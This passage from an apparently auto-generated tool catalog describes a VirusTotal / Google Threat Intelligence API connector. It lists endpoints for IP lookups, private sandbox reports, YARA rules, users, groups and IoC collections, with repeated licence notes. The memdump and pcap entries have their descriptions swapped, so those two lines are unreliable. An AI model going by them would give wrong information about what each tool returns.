/ip_addresses/{ip}/comments. Returns a list of Comment objects. GET /api/v1/virus_total/ip_addresses/{ip}/comments. Scopes: api. virus_total_get_ip_addresses_by_ip_relationships_by_relationship (read) — Get object descriptors related to an IP address via GET /ip_addresses/{ip}/relationships/{relationship}. This endpoint is the same as /ip_addresses/{ip}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/ip_addresses/{ip}/relationships/{relationship}. Scopes: api. virus_total_get_ip_addresses_by_ip_votes (read) — Get votes on an IP address via GET /ip_addresses/{ip}/votes. Returns a list of Vote objects. GET /api/v1/virus_total/ip_addresses/{ip}/votes. Scopes: api. virus_total_get_metadata (read) — Get Google Threat Intel metadata via GET /metadata. This endpoint returns a dictionary with metadata related to Google Threat Intelligence, which includes a full list of engines in use, a list of existing privileges, etc. GET /api/v1/virus_total/metadata. Scopes: api. virus_total_get_operations_by_id (read) — Get an operation object via GET /operations/{id}. Returns an Operation object. GET /api/v1/virus_total/operations/{id}. Scopes: api. virus_total_get_popular_threat_categories (read) — Get a list of popular threat categories via GET /popular_threat_categories. GET /api/v1/virus_total/popular_threat_categories. Scopes: api. virus_total_get_private_analyses (read) — List private analyses via GET /private/analyses. Returns a list of the last private analyses. The analyses are sorted by most recent first. You can use ?order=date- to reverse the order. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/analyses. Scopes: api. virus_total_get_private_analyses_by_id (read) — Get a private analysis via GET /private/analyses/{id}. With this endpoint you can check the status of a private file analysis. It expects the analysis ID returned by the POST /private/files endpoint, and will return a private analysis object with information about the analysis. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/analyses/{id}. Scopes: api. virus_total_get_private_analyses_by_id_by_relationship (read) — Get objects related to a private analysis via GET /private/analyses/{id}/{relationship}. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Available relationships are described in the private analysis object documentation. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/analyses/{id}/{relationship}. Scopes: api. virus_total_get_private_analyses_by_id_relationships_by_relationship (read) — Get object descriptors related to a private analysis via GET /private/analyses/{id}/relationships/{relationship}. This endpoint is the same as /private/analyses/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/analyses/{id}/relationships/{relationship}. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id (read) — Get a behaviour report from a private file via GET /private/file_behaviours/{sandbox_id}. Fetches a Private File Behaviour object by ID. It expects the sandbox ID returned by the GET /private/files/{id}/behaviours endpoint. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id_by_relationship (read) — Get objects related to a private file's behaviour report via GET /private/file_behaviours/{sandbox_id}/{relationship}. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Available relationships are described in the private file behaviour object documentation. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}/{relationship}. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id_evtx (read) — Get the EVTX file generated during a private file’s behavior analysis via GET /private/file_behaviours/{sandbox_id}/evtx. Fetch the EVTX file associated with the sandbox execution. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}/evtx. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id_html (read) — Get a detailed HTML behaviour report (Private Scanning) via GET /private/file_behaviours/{sandbox_id}/html. Returns a Private File Behaviour object as an HTML report. It expects the sandbox ID returned by the GET /private/files/{id}/behaviours endpoint. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}/html. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id_memdump (read) — Get the memdump file generated during a private file’s behavior analysis via GET /private/file_behaviours/{sandbox_id}/memdump. Fetch the PCAP file associated with the sandbox execution. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}/memdump. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id_pcap (read) — Get the PCAP file generated during a private file’s behavior analysis via GET /private/file_behaviours/{sandbox_id}/pcap. Fetch the memdump file associated with the sandbox execution. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}/pcap. Scopes: api. virus_total_get_private_file_behaviours_by_sandbox_id_relationships_by_relationship (read) — Get object descriptors related to a private file's behaviour report via GET /private/file_behaviours/{sandbox_id}/relationships/{relationship}. This endpoint is the same as /private/file_behaviours/{sandbox_id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/file_behaviours/{sandbox_id}/relationships/{relationship}. Scopes: api. virus_total_get_private_file_by_id_behaviours (read) — Get the behaviour reports from a private file via GET /private/file/{id}/behaviours. Fetches all the Private File Behaviour reports available for a private file. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/file/{id}/behaviours. Scopes: api. virus_total_get_private_files (read) — List private files via GET /private/files. Returns a list of previously analysed private files. The files are always ordered by SHA256. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files. Scopes: api. virus_total_get_private_files_by_id (read) — Get a private file report via GET /private/files/{id}. This endpoint return information about a file scanned privately. Notice that it only accepts SHA-256 as the file's ID, MD5 and SHA-1 are not supported like in its GET /files/{id} public counterpart. The SHA-256 for the analysed file can be computed by yourself or obtained from the response to the call to GET /analyses/{id}. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files/{id}. Scopes: api. virus_total_get_private_files_by_id_behaviour_mitre_trees (read) — Get a summary of all MITRE ATT&CK techniques observed in a file (Private Scanning) via GET /private/files/{id}/behaviour_mitre_trees. This endpoint returns a summary of MITRE ATT&CK tactics and techniques observed in each of the behaviour reports of a file. The resulting structure is the following one:. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files/{id}/behaviour_mitre_trees. Scopes: api. virus_total_get_private_files_by_id_behaviour_summary (read) — Get a summary of all behavior reports for a file (Private Scanning) via GET /private/files/{id}/behaviour_summary. This endpoint returns a summary with behavioural information about the private file. The summary consists in merging together the reports produced by the multiple sandboxes we have integrated in VirusTotal. This API call returns all fields contained in the Private File Behaviour object, except the ones that make sense only for individual sandboxes: - behash - has_html_report - has_pcap - last_modification_date - sandbox_name. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files/{id}/behaviour_summary. Scopes: api. virus_total_get_private_files_by_id_by_relationship (read) — Get objects related to a private file via GET /private/files/{id}/{relationship}. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Available relationships are described in the private file object documentation. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files/{id}/{relationship}. Scopes: api. virus_total_get_private_files_by_id_relationships_by_relationship (read) — Get object descriptors related to a file (Private Scanning) via GET /private/files/{id}/relationships/{relationship}. This endpoint is the same as /files/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files/{id}/relationships/{relationship}. Scopes: api. virus_total_get_private_files_upload_url (read) — Get a URL for uploading large files (Private Scanning) via GET /private/files/upload_url. For uploading files smaller than 32MB you can simply use the POST /files endpoint, but for larger files you need to obtain a special upload URL first, and then send the POST request to the upload URL instead of sending it to /private/files. The POST request should have the same format expected by the POST /files endpoint. Each upload URL can be used only once. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/files/upload_url. Scopes: api. virus_total_get_private_urls_by_id (read) — Get a URL analysis report via GET /private/urls/{id}. Returns a URL object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/urls/{id}. Scopes: api. virus_total_get_private_urls_by_id_by_relationship (read) — Get objects related to a private URL via GET /private/urls/{id}/{relationship}. URL objects have number of relationships to other URLs and objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Some relationships are accessible only to users who have access to VirusTotal Enterprise package. The relationships supported by URL objects are documented in the URL API object page. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/urls/{id}/{relationship}. Scopes: api. virus_total_get_private_urls_by_id_relationships_by_relationship (read) — Get object descriptors related to a private URL via GET /private/urls/{id}/relationships/{relationship}. This endpoint is the same as /private/urls/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/urls/{id}/relationships/{relationship}. Scopes: api. virus_total_get_private_zip_files_by_id (read) — Check a ZIP file’s status (Private Scanning) via GET /private/zip_files/{id}. This endpoint returns information about a ZIP file. The status attribute contains one of the following statuses: - starting - creating - finished - timeout - error-starting - error-creating When the status is finished you may proceed to download the file. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/zip_files/{id}. Scopes: api. virus_total_get_private_zip_files_by_id_download (read) — Download a ZIP file (Private Scanning) via GET /private/zip_files/{id}/download. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: This endpoint answers 302 with a signed download URL on a third-party storage host, and this connector never follows a redirect (VirusTotal's `x-apikey` header would be sent to that host; httpx strips only `Authorization`). Call Get a ZIP file's download URL (GET /private/zip_files/{id}/download_url) instead -- it returns the same signed URL as JSON, valid for an hour. GET /api/v1/virus_total/private/zip_files/{id}/download. Scopes: api. virus_total_get_private_zip_files_by_id_download_url (read) — Get a ZIP file’s download URL (Private Scanning) via GET /private/zip_files/{id}/download_url. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/private/zip_files/{id}/download_url. Scopes: api. virus_total_get_resolutions_by_id (read) — Get a DNS resolution object via GET /resolutions/{id}. This endpoint retrieves a Resolution object by its ID. A resolution object ID is made by appending the IP and the domain it resolves to together. GET /api/v1/virus_total/resolutions/{id}. Scopes: api. virus_total_get_search (read) — Search for files, URLs, domains, IPs and comments via GET /search. This endpoint searches any of the following: - A file hash - Returns a File object. - A URL - Returns a URL object. - A domain - Returns Domain object. - A IP address - Returns an IP address object. - Comments by tags - Returns a list of Comment objects. The request returns a list of objects matching the query. GET /api/v1/virus_total/search. Scopes: api. virus_total_get_service_accounts_by_id (read) — Get a Service Account object via GET /service_accounts/{id}. Get the information about a Service Account object. GET /api/v1/virus_total/service_accounts/{id}. Scopes: api. virus_total_get_sigma_rules_by_id (read) — Get a crowdsourced Sigma rule object via GET /sigma_rules/{id}. Returns a Sigma Rule object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/sigma_rules/{id}. Scopes: api. virus_total_get_submission_by_id (read) — Get a submission object via GET /submission/{id}. Returns a Submission object. GET /api/v1/virus_total/submission/{id}. Scopes: api. virus_total_get_urls_by_id (read) — Get a URL report via GET /urls/{id}. Returns a URL object. GET /api/v1/virus_total/urls/{id}. Scopes: api. virus_total_get_urls_by_id_by_relationship (read) — Get objects related to a URL via GET /urls/{id}/{relationship}. URL objects have number of relationships to other URLs and objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. The relationships supported by URL objects are documented in the URL API object page. GET /api/v1/virus_total/urls/{id}/{relationship}. Scopes: api. virus_total_get_urls_by_id_comments (read) — Get comments on a URL via GET /urls/{id}/comments. Returns a list of Comment objects. Check comments done in VT Community regarding a specific URL. - data: list of ("comment" objects)[ref:comment-object]. - links: contains "self" with a reference to this group of comments and "next", with a reference to the next group. - cursor: contains the cursor token used to access the next group of comments. GET /api/v1/virus_total/urls/{id}/comments. Scopes: api. virus_total_get_urls_by_id_relationships_by_relationship (read) — Get object descriptors related to a URL via GET /urls/{id}/relationships/{relationship}. This endpoint is the same as /urls/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/urls/{id}/relationships/{relationship}. Scopes: api. virus_total_get_urls_by_id_votes (read) — Get votes on a URL via GET /urls/{id}/votes. Returns a list of Vote objects. GET /api/v1/virus_total/urls/{id}/votes. Scopes: api. virus_total_get_users_by_id (read) — Get a user object via GET /users/{id}. This endpoint retrieves information about a user, including the privileges and quotas associated to the user. The user can be retrieved either by user ID or by API key, but the former only works if the requester is the user himself or an administrator of a group the user belongs to. Returns an User object. GET /api/v1/virus_total/users/{id}. Scopes: api. virus_total_get_users_by_id_api_usage (read) — Get a user’s API usage via GET /users/{id}/api_usage. This endpoint retrieves information about a the API usage, broken down by endpoint, of an user in a specific range of days (last 30 days by default). The period of time can be delimited by the two query parameters start_date and end_date, being the first and last day when API usage data will be retrieved, respectively. The data available includes only the last 60 natural days. GET /api/v1/virus_total/users/{id}/api_usage. Scopes: api. virus_total_get_users_by_id_by_relationship (read) — Get objects related to a user via GET /users/{id}/{relationship}. Users are related to other objects in our dataset. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to this API endpoint. Some relationships are only accessible to their account's owners and their group's admins. The supported relationships are documented in the User API object page. GET /api/v1/virus_total/users/{id}/{relationship}. Scopes: api. virus_total_get_users_by_id_overall_quotas (read) — Get a user’s quota summary via GET /users/{id}/overall_quotas. This endpoint returns a summary of a user's overall quotas including: - allowed: \<_integer_ - inherited_from: \<_string_ - used: \<_integer_ Consumption data based on natural month and UTC. GET /api/v1/virus_total/users/{id}/overall_quotas. Scopes: api. virus_total_get_users_by_id_relationships_by_relationship (read) — Get object descriptors related to a user via GET /users/{id}/relationships/{relationship}. This endpoint is the same as /users/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/users/{id}/relationships/{relationship}. Scopes: api. virus_total_get_yara_rules (read) — List Crowdsourced YARA Rules via GET /yara_rules. This endpoint lists the different Google Threat Intelligence's Crowdsourced YARA rules. The filter parameter allows to filter the rules according to the values of certain attributes. For example you can get only the enabled rules with enabled:true. With name:foo and foo you can search for rules having the word "foo" in their names or in their meta values. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/yara_rules. Scopes: api. virus_total_get_yara_rules_by_id (read) — Get a Crowdsourced YARA rule via GET /yara_rules/{id}. Returns a YARA rule object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/yara_rules/{id}. Scopes: api. virus_total_get_yara_rules_by_id_by_relationship (read) — Get objects related to a Crowdsourced YARA rule via GET /yara_rules/{id}/{relationship}. YARA rule objects have relationships to other objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. The relationships supported by YARA rule objects are documented in the YARA Rules API object page. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/yara_rules/{id}/{relationship}. Scopes: api. virus_total_get_yara_rules_by_id_relationships_by_relationship (read) — Get objects descriptors related to a Crowdsourced YARA rule via GET /yara_rules/{id}/relationships/{relationship}. Same as /yara_rules/{id}/{relationships} except it returns just the related object's descriptor (and context attributes, if any) instead of returning all attributes. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/yara_rules/{id}/relationships/{relationship}. Scopes: api. virus_total_get_yara_rulesets_by_id (read) — Get a crowdsourced YARA ruleset via GET /yara_rulesets/{id}. Returns a YARA Ruleset object used in our crowdsourced YARA results. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/yara_rulesets/{id}. Scopes: api. virus_total_patch_collections_by_id (write) — Update an IoC collection via PATCH /collections/{id}. This endpoint allows updating an IoC collection's attributes (such as name or description) and adding new elements to the IoC collection by using a raw text. The following request body shows an example of how to update an IoC collection's name and add new IOCs to it by using a raw text: Examples Change the name and description of a private IoC collection. Make public a private IoC collection. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. PATCH /api/v1/virus_total/collections/{id}. Scopes: api. virus_total_patch_graphs_by_id (write) — Update a graph object via PATCH /graphs/{id}. PATCH /api/v1/virus_total/graphs/{id}. Scopes: api. virus_total_patch_groups_by_id (write) — Update a group object via PATCH /groups/{id}. This request accepts a JSON body containing the group attributes to update. Attributes not present in the request body remain the same. It returns the updated Group object. PATCH /api/v1/virus_total/groups/{id}. Scopes: api. virus_total_patch_intelligence_hunting_rulesets_by_id (write) — Update a Livehunt ruleset via PATCH /intelligence/hunting_rulesets/{id}. Returns the updated Hunting Ruleset object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. PATCH /api/v1/virus_total/intelligence/hunting_rulesets/{id}. Scopes: api. virus_total_patch_users_by_id (write) — Update a user object via PATCH /users/{id}. This request accepts a JSON body containing the user attributes to update. Attributes not present in the request body remain the same. It returns the updated User object. PATCH /api/v1/virus_total/users/{id}. Scopes: api. virus_total_post_collections (write) — Create a new IoC collection via POST /collections. Use this endpoint to create new IoC collections. In the request body, send a collection object containing its name, description and the elements it will contain (for URLs you can either use the URL or its ID). All IOCs must be described as relationships of a newly created Collection object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/collections. Scopes: api. virus_total_post_collections_by_id_by_relationship (write) — Add new items to an IoC collection via POST /collections/{id}/{relationship}. As explained in /collections, for the urls relationship you either use {"type": "url", "url": <a URL string Examples Add new elements, and domains, to an existing IoC collection. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/collections/{id}/{relationship}. Scopes: api. virus_total_post_collections_by_id_comments (write) — Add a comment to a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) object via POST /collections/{id}/comments. With this endpoint you can post a comment for a given threat object (threat actor, campaign,malware & tool, IoC collection, report or vulnerability). The body for the POST request must be the JSON representation of a comment object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new comments. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/collections/{id}/comments. Scopes: api. virus_total_post_comments_by_id_vote (write) — Add a vote to a comment via POST /comments/{id}/vote. POST /api/v1/virus_total/comments/{id}/vote. Scopes: api. virus_total_post_domains_by_domain_comments (write) — Add a comment to a domain via POST /domains/{domain}/comments. With this endpoint you can post a comment for a given domain. The body for the POST request must be the JSON representation of a comment object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new comments. Any word starting with # in your comment's text will be considered a tag, and added to the comment's tag attribute. Returns a Comment object. POST /api/v1/virus_total/domains/{domain}/comments. Scopes: api. virus_total_post_domains_by_domain_votes (write) — Add a vote to a domain via POST /domains/{domain}/votes. With this endpoint you can post a vote for a given domain. The body for the POST request must be the JSON representation of a vote object. Note however that you don't need to provide an ID for the object, as they are automatically generated for new votes. The verdict attribute must have be either harmless or malicious. Returns a votes object. POST /api/v1/virus_total/domains/{domain}/votes. Scopes: api. virus_total_post_files_by_id_analyse (write) — Request a file rescan (re-analyze) via POST /files/{id}/analyse. Files that have been already uploaded to Google TI can be re-analysed without uploading them again, you can use this endpoint for that purpose. The response is an object descriptor for the new analysis as in the POST /files endpoint. The ID contained in the descriptor can be used with the GET /analyses/{id} endpoint to get information about the analysis. POST /api/v1/virus_total/files/{id}/analyse. Scopes: api. virus_total_post_files_by_id_comments (write) — Add a comment to a file via POST /files/{id}/comments. With this endpoint you can post a comment for a given file. The body for the POST request must be the JSON representation of a comment object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new comments. Any word starting with # in your comment's text will be considered a tag, and added to the comment's tag attribute. Returns a Comment object. POST /api/v1/virus_total/files/{id}/comments. Scopes: api. virus_total_post_files_by_id_votes (write) — Add a vote on a file via POST /files/{id}/votes. With this endpoint you can post a vote for a given file. The body for the POST request must be the JSON representation of a vote object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new votes. The verdict attribute must have be either harmless or malicious. Returns a Vote object. POST /api/v1/virus_total/files/{id}/votes. Scopes: api. virus_total_post_graphs (write) — Create a graph via POST /graphs. This endpoint can be used to create new graphs. Note that private graphs will increment the usage of the private graphs quota in your Google Threat Intelligence plan. POST /api/v1/virus_total/graphs. Scopes: api. virus_total_post_graphs_by_id_comments (write) — Add a comment to a graph via POST /graphs/{id}/comments. POST /api/v1/virus_total/graphs/{id}/comments. Scopes: api. virus_total_post_graphs_by_id_relationships_editors (write) — Grant users and groups permission to edit a graph via POST /graphs/{id}/relationships/editors. This endpoint adds a user or groups as a graph editor. POST /api/v1/virus_total/graphs/{id}/relationships/editors. Scopes: api. virus_total_post_graphs_by_id_relationships_viewers (write) — Grant users and groups permission to see a graph via POST /graphs/{id}/relationships/viewers. This endpoint adds a user or group as a graph viewer. POST /api/v1/virus_total/graphs/{id}/relationships/viewers. Scopes: api. virus_total_post_groups_by_id_relationships_administrators (write) — Grant group admin permissions to a list of users via POST /groups/{id}/relationships/administrators. Update group administrator list. User emails must be used. If a username is used, a 400 error is returned. No admins are removed by using this endpoint. To revoke admin privileges from a certain user, use DELETE/groups/{id}/relationships/administrators/{user_id}. POST /api/v1/virus_total/groups/{id}/relationships/administrators. Scopes: api. virus_total_post_groups_by_id_relationships_service_accounts (write) — Create a new Service Account via POST /groups/{id}/relationships/service_accounts. Create a new Service Account inside your Google Threat Intelligence group by only providing a descriptive identifier which must be unique inside your group. POST /api/v1/virus_total/groups/{id}/relationships/service_accounts. Scopes: api. virus_total_post_groups_by_id_relationships_users (write) — Add users to a group via POST /groups/{id}/relationships/users. Update the group's user list. User emails must be used, if a username is used a 400 error is returned. No users are removed by using this endpoint. To remove group membership from a certain user, use DELETE/groups/{id}/relationships/users/{user_id}. POST /api/v1/virus_total/groups/{id}/relationships/users. Scopes: api. virus_total_post_intelligence_hunting_rulesets (write) — Create a new Livehunt ruleset via POST /intelligence/hunting_rulesets. This endpoint creates a new Google Threat Intelligence Hunting Livehunt ruleset. The request's body must have the following structure: Use the match_object_type to specify the expected entity kind to match with this ruleset. Allowed values are file, url, domain and ip. The name and rules attributes are required, the remaining ones are optional. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST 